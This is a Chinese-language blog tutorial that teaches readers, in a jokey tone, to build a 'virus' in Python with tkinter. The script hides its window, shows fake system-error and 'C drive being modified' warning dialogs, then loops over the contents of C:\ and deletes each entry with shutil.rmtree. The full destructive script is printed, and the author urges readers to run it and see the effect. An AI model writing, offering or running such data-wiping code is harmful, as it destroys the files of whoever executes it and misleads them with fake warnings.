美文网首页
用python的tkinter库做一个病毒

用python的tkinter库做一个病毒

作者: 最强大脑 | 来源:发表于2023-02-23 11:41 被阅读0次

哈喽,大家好!

不知道你们有没有中过病毒?
(反正小编中过)
但是你们有没有想过自己做一个病毒??!

需要材料:win10笔记本、python环境、两只小手
第一步:

我们要导入tkinter库!

import tkinter

但是想要做病毒还要导入方法。

import tkinter.messagebox

想要识别C盘和清除C盘还需要两个库:

import os
import shutil

有了基础“三库”,我们就可以开始做病毒啦!

第二步:

我们先新建一个窗口:

root = tkinter.Tk()
root.withdraw()

有些人可能会问:“第二行代码是什么意思鸭?”
“withdraw”是从屏幕上移除窗口(不销毁它)的意思。要重绘窗口,得使用 deiconify。
当窗口被撤回时,状态方法返回“withdrawn”。
接着上代码!

第三步:

做提示!
就是messagebox的提示窗口!
准确的说是警告窗口。
代码:

tkinter.messagebox.showerror('系统错误','系统正在被未知文件修改!\n(ERROR_3X007)')

这是系统错误的警告窗口。
再来一个C盘被修改的警告窗口:

tkinter.messagebox.showwarning('严重警告','C盘文件正在被修改!')

哈哈!
怎么样?!
有点样了吧?!
但这只是个虚的病毒,没有真实效果。
所以……

第四步:

真实效果。
都说了是病毒!
真的!

filepath = os.listdir('C:\\')

测C盘。

res = len(filepath)

计算“filepath”,返回它的长度。

while res != 0:
    res -= 1
    sen = 'C:/' + str(filepath[res])
    shutil.rmtree(sen)

只要res非等于0,就一直删除“C:/”里面的文件!
恐不恐怖?!
吓不吓人?!
很多人觉得一条条复制太累了。
那……

完整程序:

import os
import tkinter.messagebox
import shutil

root = tkinter.Tk()
root.withdraw()

tkinter.messagebox.showerror('系统错误','系统正在被未知文件修改!\n(ERROR_3X007)')
tkinter.messagebox.showwarning('严重警告','C盘文件正在被修改!')

filepath = os.listdir('C:\\')

res = len(filepath)

while res != 0:
    res -= 1
    sen = 'C:/' + str(filepath[res])
    shutil.rmtree(sen)

好啦!
废话不多说,你们自己试试就知道效果啦!
拜拜!!!

相关文章

网友评论

      本文标题:用python的tkinter库做一个病毒

      本文链接:https://www.haomeiwen.com/subject/xgwzkdtx.html